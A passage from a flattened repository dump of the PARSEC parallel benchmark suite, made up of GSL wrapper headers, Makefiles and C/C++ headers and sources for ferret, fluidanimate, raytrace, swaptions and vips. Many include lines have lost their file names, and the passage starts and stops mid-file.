Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | 20 | #ifndef __GSL_CONST__ 21 | #define __GSL_CONST__ 22 | 23 | #include 24 | 25 | #include 26 | #include 27 | 28 | #include 29 | #include 30 | 31 | #endif /* __GSL_CONST__ */ 32 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_matrix.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_MATRIX_H__ 2 | #define __GSL_MATRIX_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | 25 | #endif /* __GSL_MATRIX_H__ */ 26 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_permute.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_PERMUTE_H__ 2 | #define __GSL_PERMUTE_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | #endif /* __GSL_PERMUTE_H__ */ 25 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_permute_vector.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_PERMUTE_VECTOR_H__ 2 | #define __GSL_PERMUTE_VECTOR_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | #endif /* __GSL_PERMUTE_VECTOR_H__ */ 25 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_sf.h: -------------------------------------------------------------------------------- 1 | /* Author: G. Jungman */ 2 | 3 | #ifndef __GSL_SF_H__ 4 | #define __GSL_SF_H__ 5 | 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | 38 | 39 | #endif /* __GSL_SF_H__ */ 40 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_sort.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_SORT_H__ 2 | #define __GSL_SORT_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | #endif /* __GSL_SORT_H__ */ 21 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_sort_vector.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_SORT_VECTOR_H__ 2 | #define __GSL_SORT_VECTOR_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | #endif /* __GSL_SORT_VECTOR_H__ */ 21 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_specfunc.h: -------------------------------------------------------------------------------- 1 | /* Author: G. Jungman */ 2 | 3 | 4 | /* Convenience header */ 5 | #ifndef __GSL_SPECFUNC_H__ 6 | #define __GSL_SPECFUNC_H__ 7 | 8 | #include 9 | 10 | #endif /* __GSL_SPECFUNC_H__ */ 11 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_statistics.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_STATISTICS_H__ 2 | #define __GSL_STATISTICS_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | #endif /* __GSL_STATISTICS_H__ */ 21 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_vector.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_VECTOR_H__ 2 | #define __GSL_VECTOR_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | 25 | #endif /* __GSL_VECTOR_H__ */ 26 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_vector_complex.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_VECTOR_COMPLEX_H__ 2 | #define __GSL_VECTOR_COMPLEX_H__ 3 | 4 | #define GSL_VECTOR_REAL(z, i) ((z)->data[2*(i)*(z)->stride]) 5 | #define GSL_VECTOR_IMAG(z, i) ((z)->data[2*(i)*(z)->stride + 1]) 6 | 7 | #if GSL_RANGE_CHECK 8 | #define GSL_VECTOR_COMPLEX(zv, i) (((i) >= (zv)->size ? (gsl_error ("index out of range", __FILE__, __LINE__, GSL_EINVAL), 0):0 , *GSL_COMPLEX_AT((zv),(i)))) 9 | #else 10 | #define GSL_VECTOR_COMPLEX(zv, i) (GSL_COMPLEX_AT((zv),(i))) 11 | #endif 12 | 13 | #define GSL_COMPLEX_AT(zv,i) ((gsl_complex*)&((zv)->data[2*(i)*(zv)->stride])) 14 | #define GSL_COMPLEX_FLOAT_AT(zv,i) ((gsl_complex_float*)&((zv)->data[2*(i)*(zv)->stride])) 15 | #define GSL_COMPLEX_LONG_DOUBLE_AT(zv,i) ((gsl_complex_long_double*)&((zv)->data[2*(i)*(zv)->stride])) 16 | 17 | #endif /* __GSL_VECTOR_COMPLEX_H__ */ 18 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_version.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_VERSION_H__ 2 | #define __GSL_VERSION_H__ 3 | 4 | #include 5 | 6 | #undef __BEGIN_DECLS 7 | #undef __END_DECLS 8 | #ifdef __cplusplus 9 | # define __BEGIN_DECLS extern "C" { 10 | # define __END_DECLS } 11 | #else 12 | # define __BEGIN_DECLS /* empty */ 13 | # define __END_DECLS /* empty */ 14 | #endif 15 | __BEGIN_DECLS 16 | 17 | 18 | #define GSL_VERSION "1.9" 19 | 20 | GSL_VAR const char * gsl_version; 21 | 22 | __END_DECLS 23 | 24 | #endif /* __GSL_VERSION_H__ */ 25 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/hash_table.h: -------------------------------------------------------------------------------- 1 | #ifndef _HASH_TABLE_H_ 2 | #define _HASH_TABLE_H_ 3 | 4 | #include 5 | #include 6 | 7 | typedef int * hashT; 8 | 9 | typedef struct hashTable_t hashTable_t; 10 | 11 | void hashT_print(hashT key, int key_size, const char *tag, FILE *fp); 12 | 13 | void hashTable_init(void); 14 | 15 | hashTable_t *hashTable_new(int key_size); 16 | 17 | int hashTable_free(hashTable_t *table); 18 | 19 | void hashTable_insert(hashTable_t *table, hashT key, int val); 20 | 21 | //bucketT *hashTable_get_bucket(hashTable_t *table, hashT key); 22 | 23 | int hashTable_search(hashTable_t *table, bitmap_t *map, hashT key); 24 | 25 | hashTable_t *hashTable_load(CASS_FILE *in); 26 | 27 | int hashTable_dump(hashTable_t *hash_table, CASS_FILE *out); 28 | 29 | #endif /* _HASH_TABLE_H_ */ 30 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/local.h: -------------------------------------------------------------------------------- 1 | #ifndef __WDONG_LOCAL__ 2 | #define __WDONG_LOCAL__ 3 | 4 | /* y = a + b x */ 5 | static inline void least_squares (double *a, double *b, int n, double sxx, double sxy, double sx, double sy) 6 | { 7 | *b = (n * sxy - sx*sy) / (n * sxx - sx*sx); 8 | *a = (sy - *b * sx) / n; 9 | } 10 | 11 | int localdim (double a, double b, double *alpha, double *beta, double W, int M, int L, int K); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/perturb.h: -------------------------------------------------------------------------------- 1 | #ifndef __PERTURB__ 2 | #define __PERTURB__ 3 | 4 | typedef struct 5 | { 6 | unsigned long long set; 7 | float key; 8 | unsigned dir; 9 | unsigned max; 10 | float key1; 11 | } ptb_vec_t; 12 | 13 | ptb_vec_t *gen_score (int M); 14 | 15 | int gen_perturb_set (const ptb_vec_t *score, ptb_vec_t *set, int M, int T); 16 | 17 | int map_perturb_vector (const ptb_vec_t set[], ptb_vec_t vector[], const ptb_vec_t mapping[], int M, int T); 18 | 19 | void ptb_qsort (ptb_vec_t *, cass_size_t); 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/queue.h: -------------------------------------------------------------------------------- 1 | #ifndef QUEUE_H 2 | #define QUEUE_H 3 | 4 | #include 5 | 6 | struct queue { 7 | int head, tail; 8 | void ** data; 9 | int size; 10 | int prod_threads; // no of producing threads 11 | int end_count; 12 | pthread_mutex_t mutex; 13 | pthread_cond_t empty, full; 14 | }; 15 | 16 | void queue_signal_terminate(struct queue * que); 17 | void queue_init(struct queue* que, int size, int prod_threads); 18 | void queue_destroy(struct queue* que); 19 | int dequeue(struct queue* que, void** to_buf); 20 | void enqueue(struct queue* que, void* from_buf); 21 | 22 | #endif //QUEUE 23 | -------------------------------------------------------------------------------- /src/parsec/fluidanimate/Makefile: -------------------------------------------------------------------------------- 1 | NAME := fluidanimate 2 | SRC := serial cellpool 3 | 4 | VPATH := src 5 | CXXFLAGS += -Wno-invalid-offsetof -D_GNU_SOURCE -D_XOPEN_SOURCE=600 6 | 7 | ifneq ($(strip $(NUM_THREADS)),1) 8 | SRC := $(filter-out serial,$(SRC)) 9 | SRC += pthreads parsec_barrier 10 | endif 11 | 12 | include Makefile.$(BUILD_TYPE) 13 | include ../parsec_common.mk 14 | 15 | all: $(BUILD_PATH)/$(NAME) 16 | -------------------------------------------------------------------------------- /src/parsec/fluidanimate/src/COPYRIGHT: -------------------------------------------------------------------------------- 1 | Copyright (c) 2007 Intel Corp. 2 | -------------------------------------------------------------------------------- /src/parsec/fluidanimate/src/fluidview.hpp: -------------------------------------------------------------------------------- 1 | // Written by Christian Bienia and Richard O. Lee 2 | // This file contains code to visualize the fluid interactively 3 | // Requires the GLUT library 4 | 5 | #ifndef __FLUIDVIEWER_HPP__ 6 | #define __FLUIDVIEWER_HPP__ 1 7 | 8 | #include 9 | #include "fluid.hpp" 10 | 11 | //Initialize visualization mode 12 | //argc and argv are the command line argument passed to the program 13 | //AdvanceFrame is a pointer to the function which advances the the fluid by one frame 14 | //numCells, cells and cnumPars are pointers to the fluid state variables 15 | void InitVisualizationMode(int *argc, char *argv[], void (*AdvanceFrame)(), int *numCells, Cell **cells, int **cnumPars); 16 | 17 | //Start computing the frames with AdvanceFrame function pionter and 18 | //visualize the fluid after each step 19 | void Visualize(); 20 | 21 | #endif //__FLUIDVIEWER_HPP__ 22 | -------------------------------------------------------------------------------- /src/parsec/parsec_common.mk: -------------------------------------------------------------------------------- 1 | ifneq ($(strip $(NUM_THREADS)),1) 2 | CCFLAGS += -DENABLE_THREADS -DENABLE_PTHREADS -DUSE_THREADS=1 -DPARALLEL -DHAVE_THREADS=1 3 | LIBS += -pthread 4 | endif 5 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/LRT/CmdLine.hxx: -------------------------------------------------------------------------------- 1 | #ifndef LRT__CMDLINE_HXX 2 | #define LRT__CMDLINE_HXX 3 | 4 | #include "RTTL/common/RTInclude.hxx" 5 | #include "RTTL/common/RTVec.hxx" 6 | 7 | namespace LRT { 8 | 9 | struct Options 10 | { 11 | static CmdLineParser root; 12 | 13 | /*! command line options that cannot be parsed by \see parseThis 14 | are then passed on to all child parsers. only if neither of 15 | those could parse them are they returned to the parent 16 | parser. That way, we can have a certain option be used by multiple 17 | different objects. 18 | 19 | e.g., you can have 20 | 21 | -accelstructure BVH -stats bvhfile.stat -framebuffer -stats fbstats.stat 22 | */ 23 | vector child; 24 | 25 | /*! start parsing (argc,argv[]) from given argument 26 | 'first'. return ID of first argument this parser could _not_ 27 | parse, or argc if all optoins could be parsed */ 28 | int parse(int argc, char *argv[], int first = 1) = 0; 29 | }; 30 | 31 | } 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/LRT/FrameBuffer/MemoryFrameBuffer.hxx: -------------------------------------------------------------------------------- 1 | #ifndef RTL__MEMORY_FRAMEBUFFER_HXX 2 | #define RTL__MEMORY_FRAMEBUFFER_HXX 3 | 4 | #include "../FrameBuffer.hxx" 5 | 6 | namespace LRT BEGIN_NAMESPACE 7 | 8 | // ======================================================= 9 | /*! simply using a continous region in memory as framebuffer, 10 | mostly useful for debugging and no display rendering 11 | */ 12 | struct MemoryFrameBuffer : public FrameBuffer 13 | { 14 | 15 | /*! try allocating one -- if that fails, return NULL */ 16 | static MemoryFrameBuffer *create() { 17 | return new MemoryFrameBuffer; 18 | } 19 | 20 | MemoryFrameBuffer() { 21 | fb = NULL; 22 | } 23 | virtual void resize(int newX, int newY) 24 | { 25 | FrameBuffer::resize(newX,newY); 26 | if (fb) aligned_free(fb); 27 | fb = aligned_malloc(4*res.x*res.y); 28 | } 29 | 30 | virtual void startNewFrame() {} 31 | virtual void doneWithFrame() {} 32 | virtual void display() {} 33 | }; 34 | 35 | END_NAMESPACE 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/LRT/FrameBuffer/PBOFrameBuffer.hxx: -------------------------------------------------------------------------------- 1 | #ifndef RTTL__PBO_FRAMEBUFFER_HXX 2 | #define RTTL__PBO_FRAMEBUFFER_HXX 3 | 4 | #include "GLTextureFB.hxx" 5 | 6 | namespace LRT BEGIN_NAMESPACE 7 | 8 | 9 | /*! same as parent class (\see OpenGLTextureRGBA8FB), except that we 10 | do not allocate pixel memory, but actually map it to driver 11 | mem ...*/ 12 | struct PBOFrameBuffer : public OpenGLTextureRGBA8FB 13 | { 14 | /*! try allocating one -- if that fails, return NULL */ 15 | static PBOFrameBuffer *create(); 16 | 17 | GLuint fbPBO; 18 | 19 | PBOFrameBuffer(); 20 | virtual void resize(int newX, int newY); 21 | 22 | virtual void startNewFrame(); 23 | virtual void doneWithFrame(); 24 | }; 25 | 26 | END_NAMESPACE 27 | 28 | #endif 29 | 30 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/LRT/Makefile: -------------------------------------------------------------------------------- 1 | NAME := LRT 2 | SRC := Init FrameBuffer FrameBuffer/PBOFrameBuffer FrameBuffer/GLTextureFB render 3 | SUB_DIRS := FrameBuffer 4 | 5 | include ../subdirs_common.mk 6 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/MiniView/Makefile: -------------------------------------------------------------------------------- 1 | NAME := MiniView 2 | SRC := rtview 3 | 4 | LIBS += -lstdc++ 5 | 6 | include ../subdirs_common.mk 7 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/RTTL/API/ISG.cxx: -------------------------------------------------------------------------------- 1 | #include "RTTL/API/ISG.hxx" 2 | #include "LRT/include/lrt.h" 3 | 4 | namespace ISG { 5 | int current_timestamp = 0; 6 | 7 | /*! the default world to use if no world was specified explicitly */ 8 | World *World::m_default; 9 | }; 10 | 11 | 12 | void rtShow(node_t node) 13 | { 14 | World *world = World::getDefaultWorld(); 15 | world->rootNode.push_back((RootNode*)node); 16 | }; 17 | 18 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/RTTL/BVH/BVH.cxx: -------------------------------------------------------------------------------- 1 | #include "BVH.hxx" 2 | #include "Builder/Builder.hxx" 3 | 4 | /* NOTE (iw) : all builder codes moved to 'Builder/' subdir */ 5 | 6 | #define DBG(a) a 7 | 8 | namespace RTTL 9 | { 10 | BVHStatCollector BVHStatCollector::global; 11 | 12 | void BVH::build(const RTBoxSSE &sceneAABB,const RTBoxSSE ¢roidAABB) 13 | { 14 | if (builder == NULL) 15 | setBuilder("default"); 16 | builder->build(sceneAABB,centroidAABB); 17 | } 18 | 19 | void BVH::setBuilder(const char *builderType) 20 | { 21 | if (builder) delete builder; 22 | builder = BVHBuilder::get(builderType,this); 23 | }; 24 | 25 | void BVH::reserve(int numPrimitives) 26 | { 27 | if (numPrimitives > reservedSize) 28 | { 29 | if (node) aligned_free(node); 30 | if (item) aligned_free(node); 31 | 32 | node = aligned_malloc(2*numPrimitives); 33 | item = aligned_malloc(numPrimitives); 34 | 35 | reservedSize = numPrimitives; 36 | } 37 | } 38 | 39 | }; 40 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/RTTL/BVH/Builder/BinnedAllDims.hxx: -------------------------------------------------------------------------------- 1 | #ifndef RTTL__BVH_BUILDER_BINNEDALLDIMS_HXX 2 | #define RTTL__BVH_BUILDER_BINNEDALLDIMS_HXX 3 | 4 | #include "Builder.hxx" 5 | 6 | namespace RTTL { 7 | 8 | class BinnedAllDims : public BVHBuilder 9 | { 10 | void recursiveBuild(const AABB *const triAABB, 11 | const sse_f *const triCentroid, 12 | AABB *const bvh, 13 | int *const item, 14 | int nodeID, int &nextFree, 15 | int begin, int end, 16 | AABB &voxel); 17 | 18 | public: 19 | BinnedAllDims(BVH *bvh) : BVHBuilder(bvh) 20 | { 21 | } 22 | 23 | virtual void build(const RTBoxSSE &sceneAABB,const RTBoxSSE ¢roidAABB) 24 | { 25 | AABB *aabb = bvh->getAllPrimitiveBounds(); 26 | int prims = bvh->numPrimitives(); 27 | bvh->reserve(prims); 28 | my_build(aabb,bvh->item,bvh->node,prims); 29 | bvh->doneWithAllPrimitiveBounds(aabb); 30 | } 31 | 32 | void my_build(const AABB *const aabb, 33 | int *const item, 34 | AABB *const bvh, 35 | const int numBoxes); 36 | 37 | }; 38 | 39 | } // end namespace 40 | #endif 41 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/RTTL/Makefile: -------------------------------------------------------------------------------- 1 | NAME := RTTL 2 | SRC := BVH/BVH \ 3 | BVH/Builder/Builder \ 4 | BVH/Builder/Sweep \ 5 | BVH/Builder/BinnedAllDims \ 6 | BVH/Builder/BinnedAllDimsSaveSpace \ 7 | BVH/Builder/OnDemandBuilder \ 8 | common/RTThread \ 9 | common/MapOptions \ 10 | API/ISG 11 | 12 | SUB_DIRS := BVH/Builder common API 13 | 14 | LIBS += -lstdc++ 15 | 16 | include ../subdirs_common.mk 17 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/RTTL/common/RTcoutRedirect.hxx: -------------------------------------------------------------------------------- 1 | /// \file RTcoutRedirect.hxx 2 | /// Redirects all cout output to "Output" window of MS Visual Studio IDE. 3 | /// This is define only for Windows running in _DEBUG mode in IDE, it has no 4 | /// effect on other modes and OS. 5 | /// This file is supposed to be included once in the project for which 6 | /// redirection is desired. 7 | 8 | #if defined(_WIN32) && defined(_DEBUG) 9 | #include 10 | /// Statically created object to allow cout redirection. 11 | class RTcoutRedirect: public std::streambuf { 12 | public: 13 | RTcoutRedirect() { 14 | m_cout_buffer = std::cout.rdbuf(); 15 | std::cout.rdbuf(this); 16 | } 17 | 18 | private: 19 | int_type overflow(int_type c) { 20 | if (!traits_type::eq_int_type(c, traits_type::eof())) { 21 | char s[] = {c,0}; 22 | OutputDebugStringA(s); 23 | c = m_cout_buffer->sputc(c); 24 | return c; 25 | } else { 26 | return traits_type::not_eof(c); 27 | } 28 | } 29 | std::streambuf* m_cout_buffer; 30 | } redirected_cout; 31 | #endif 32 | -------------------------------------------------------------------------------- /src/parsec/raytrace/src/subdirs_common.mk: -------------------------------------------------------------------------------- 1 | BUILD_PATH = $(BUILD_ROOT)/$(BENCH_SUITE)/raytrace/$(BUILD_TYPE)/$(NAME) 2 | include Makefile.$(BUILD_TYPE) 3 | include $(PROJ_ROOT)/src/parsec/parsec_common.mk 4 | 5 | # enforce build order 6 | all: 7 | @${MAKE} make_sub_dirs 8 | @${MAKE} $(BUILD_PATH)/../$(NAME).$(OBJ_EXT) 9 | 10 | make_sub_dirs: 11 | $(foreach dir,$(SUB_DIRS),mkdir -p $(BUILD_PATH)/$(dir) &&) touch . 12 | 13 | $(BUILD_PATH)/../$(NAME).$(OBJ_EXT): $(LLS) 14 | $(LD) $(LDRELOC) $^ -o $@ 15 | -------------------------------------------------------------------------------- /src/parsec/streamcluster/Makefile: -------------------------------------------------------------------------------- 1 | NAME := streamcluster 2 | SRC := streamcluster 3 | 4 | VPATH := src 5 | 6 | include Makefile.$(BUILD_TYPE) 7 | include ../parsec_common.mk 8 | 9 | all: $(BUILD_PATH)/$(NAME) 10 | -------------------------------------------------------------------------------- /src/parsec/swaptions/Makefile: -------------------------------------------------------------------------------- 1 | NAME := swaptions 2 | SRC := CumNormalInv MaxFunction RanUnif icdf HJM_SimPath_Forward_Blocking HJM HJM_Swaption_Blocking HJM_Securities nr_routines 3 | 4 | VPATH := src 5 | 6 | CCFLAGS += -fstrict-aliasing -fkeep-inline-functions 7 | 8 | include Makefile.$(BUILD_TYPE) 9 | include ../parsec_common.mk 10 | 11 | 12 | all: $(BUILD_PATH)/$(NAME) 13 | -------------------------------------------------------------------------------- /src/parsec/swaptions/src/HJM_Securities.h: -------------------------------------------------------------------------------- 1 | #ifndef __HJM_SECURITIES__ 2 | #define __HJM_SECURITIES__ 3 | 4 | #include "HJM_type.h" 5 | 6 | int HJM_SimPath_Yield(FTYPE **ppdHJMPath, int iN, int iFactors, FTYPE dYears, FTYPE *pdYield, FTYPE **ppdFactors); 7 | int HJM_SimPath_Forward(FTYPE **ppdHJMPath, int iN, int iFactors, FTYPE dYears, FTYPE *pdForward, FTYPE *pdTotalDrift, 8 | FTYPE **ppdFactors, long *iSeed); 9 | int HJM_Yield_to_Forward(FTYPE *pdForward, int iN, FTYPE *pdYield); 10 | int HJM_Factors(FTYPE **ppdFactors,int iN, int iFactors, FTYPE *pdVol, FTYPE **ppdFacBreak); 11 | int HJM_Drifts(FTYPE *pdTotalDrift, FTYPE **ppdDrifts, int iN, int iFactors, FTYPE dYears, FTYPE **ppdFactors); 12 | int HJM_Correlations(FTYPE **ppdHJMCorr, int iN, int iFactors, FTYPE **ppdFactors); 13 | int HJM_Forward_to_Yield(FTYPE *pdYield, int iN, FTYPE *pdForward); 14 | int Discount_Factors(FTYPE *pdDiscountFactors, int iN, FTYPE dYears, FTYPE *pdRatePath); 15 | FTYPE dMax( FTYPE dA, FTYPE dB ); 16 | 17 | #endif //__HJM_SECURITIES__ 18 | -------------------------------------------------------------------------------- /src/parsec/swaptions/src/HJM_type.h: -------------------------------------------------------------------------------- 1 | #ifndef __TYPE__ 2 | #define __TYPE__ 3 | //#define DEBUG 4 | 5 | #if defined(BASELINE) && defined(ENABLE_SSE4) 6 | #error BASELINE and ENABLE_SSE4 are mutually exclusive 7 | #endif 8 | 9 | #define FTYPE double 10 | #define BLOCK_SIZE 16 // Blocking to allow better caching 11 | 12 | #define RANDSEEDVAL 100 13 | #define DEFAULT_NUM_TRIALS 102400 14 | 15 | typedef struct 16 | { 17 | int Id; 18 | FTYPE dSimSwaptionMeanPrice; 19 | FTYPE dSimSwaptionStdError; 20 | FTYPE dStrike; 21 | FTYPE dCompounding; 22 | FTYPE dMaturity; 23 | FTYPE dTenor; 24 | FTYPE dPaymentInterval; 25 | int iN; 26 | FTYPE dYears; 27 | int iFactors; 28 | FTYPE *pdYield; 29 | FTYPE **ppdFactors; 30 | } parm; 31 | 32 | 33 | 34 | #endif //__TYPE__ 35 | -------------------------------------------------------------------------------- /src/parsec/swaptions/src/MaxFunction.cpp: -------------------------------------------------------------------------------- 1 | // MaxFunction.cpp 2 | // Author: Mark Broadie 3 | 4 | #include 5 | #include 6 | #include 7 | #include "HJM_type.h" 8 | 9 | FTYPE dMax( FTYPE dA, FTYPE dB ); 10 | 11 | FTYPE dMax( FTYPE dA, FTYPE dB ) 12 | { 13 | return (dA>dB ? dA:dB); 14 | } // end of dMax 15 | -------------------------------------------------------------------------------- /src/parsec/swaptions/src/RanUnif.cpp: -------------------------------------------------------------------------------- 1 | // RanUnif.c 2 | // Author: Mark Broadie 3 | // Collaborator: Mikhail Smelyanskiy, Intel 4 | 5 | 6 | #include 7 | #include 8 | #include 9 | #include "HJM_type.h" 10 | 11 | FTYPE RanUnif( long *s ); 12 | 13 | FTYPE RanUnif( long *s ) 14 | { 15 | // uniform random number generator 16 | 17 | long ix, k1; 18 | FTYPE dRes; 19 | 20 | ix = *s; 21 | k1 = ix/127773L; 22 | ix = 16807L*( ix - k1*127773L ) - k1 * 2836L; 23 | if (ix < 0) ix = ix + 2147483647L; 24 | *s = ix; 25 | dRes = (ix * 4.656612875e-10); 26 | return (dRes); 27 | 28 | } // end of RanUnif 29 | -------------------------------------------------------------------------------- /src/parsec/swaptions/src/nr_routines.h: -------------------------------------------------------------------------------- 1 | #include "HJM_type.h" 2 | 3 | int choldc(FTYPE **a, int n); 4 | void gaussj(FTYPE **a, int n, FTYPE **b, int m); 5 | void nrerror( char error_text[] ); 6 | int *ivector(long nl, long nh); 7 | void free_ivector(int *v, long nl, long nh); 8 | FTYPE *dvector( long nl, long nh ); 9 | void free_dvector( FTYPE *v, long nl, long nh ); 10 | FTYPE **dmatrix( long nrl, long nrh, long ncl, long nch ); 11 | void free_dmatrix( FTYPE **m, long nrl, long nrh, long ncl, long nch ); 12 | -------------------------------------------------------------------------------- /src/parsec/swaptions/src/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by hjm_securities_xll.rc 4 | // 5 | 6 | // Next default values for new objects 7 | // 8 | #ifdef APSTUDIO_INVOKED 9 | #ifndef APSTUDIO_READONLY_SYMBOLS 10 | #define _APS_NEXT_RESOURCE_VALUE 101 11 | #define _APS_NEXT_COMMAND_VALUE 40001 12 | #define _APS_NEXT_CONTROL_VALUE 1001 13 | #define _APS_NEXT_SYMED_VALUE 101 14 | #endif 15 | #endif 16 | -------------------------------------------------------------------------------- /src/parsec/vips/src/arithmetic/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arithmetic 2 | SRC := arith_dispatch \ 3 | im_abs \ 4 | im_add \ 5 | im_avg \ 6 | im_bandmean \ 7 | im_cross_phase \ 8 | im_deviate \ 9 | im_divide \ 10 | im_recomb \ 11 | im_invert \ 12 | im_linreg \ 13 | im_lintra \ 14 | im_maxpos_avg \ 15 | im_maxpos \ 16 | im_maxpos_vec \ 17 | im_measure \ 18 | im_minpos \ 19 | im_multiply \ 20 | im_point_bilinear \ 21 | im_remainder \ 22 | im_sign \ 23 | im_stats \ 24 | im_subtract \ 25 | math \ 26 | power \ 27 | round 28 | 29 | include ../subdirs_common.mk 30 | -------------------------------------------------------------------------------- /src/parsec/vips/src/cimg/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arithmetic 2 | SRC := arith_dispatch \ 3 | im_abs \ 4 | im_add \ 5 | im_avg \ 6 | im_bandmean \ 7 | im_cross_phase \ 8 | im_deviate \ 9 | im_divide \ 10 | im_recomb \ 11 | im_invert \ 12 | im_linreg \ 13 | im_lintra \ 14 | im_maxpos_avg \ 15 | im_maxpos \ 16 | im_maxpos_vec \ 17 | im_measure \ 18 | im_minpos \ 19 | im_multiply \ 20 | im_point_bilinear \ 21 | im_remainder \ 22 | im_sign \ 23 | im_stats \ 24 | im_subtract \ 25 | math \ 26 | power \ 27 | round 28 | 29 | include ../subdirs_common.mk 30 | -------------------------------------------------------------------------------- /src/parsec/vips/src/colour/Makefile: -------------------------------------------------------------------------------- 1 | NAME := colour 2 | SRC := colour \ 3 | disp \ 4 | colour_dispatch \ 5 | derived \ 6 | im_icc_transform \ 7 | im_LCh2Lab \ 8 | im_LCh2UCS \ 9 | im_Lab2LCh \ 10 | im_Lab2LabQ \ 11 | im_Lab2LabS \ 12 | im_Lab2XYZ \ 13 | im_LabQ2Lab \ 14 | im_LabQ2LabS \ 15 | im_LabQ2disp \ 16 | im_LabS2LabQ \ 17 | im_LabS2Lab \ 18 | im_lab_morph \ 19 | im_UCS2LCh \ 20 | im_XYZ2Lab \ 21 | im_XYZ2Yxy \ 22 | im_float2rad \ 23 | im_Yxy2XYZ \ 24 | im_XYZ2disp \ 25 | im_dE00_fromLab \ 26 | im_dECMC_fromLab \ 27 | im_dE_fromLab \ 28 | im_disp2XYZ \ 29 | im_rad2float 30 | 31 | include ../subdirs_common.mk 32 | -------------------------------------------------------------------------------- /src/parsec/vips/src/conversion/Makefile: -------------------------------------------------------------------------------- 1 | NAME := conversion 2 | SRC := conver_dispatch \ 3 | im_black \ 4 | im_c2amph \ 5 | im_c2rect \ 6 | im_c2imag \ 7 | im_c2real \ 8 | im_clip2fmt \ 9 | im_copy \ 10 | im_copy_file \ 11 | im_extract \ 12 | im_falsecolour \ 13 | im_fliphor \ 14 | im_flipver \ 15 | im_gbandjoin \ 16 | im_embed \ 17 | im_insert \ 18 | im_lrjoin \ 19 | im_mask2vips \ 20 | im_msb \ 21 | im_replicate \ 22 | im_grid \ 23 | im_ri2c \ 24 | im_rot180 \ 25 | im_rot270 \ 26 | im_rot90 \ 27 | im_scale \ 28 | im_scaleps \ 29 | im_subsample \ 30 | im_system \ 31 | im_system_image \ 32 | im_tbjoin \ 33 | im_text \ 34 | im_gaussnoise \ 35 | im_vips2mask \ 36 | im_wrap \ 37 | im_zoom 38 | 39 | CFLAGS += -DHAVE_RAND 40 | CXXFLAGS += -DHAVE_RAND 41 | 42 | include ../subdirs_common.mk 43 | -------------------------------------------------------------------------------- /src/parsec/vips/src/convolution/Makefile: -------------------------------------------------------------------------------- 1 | 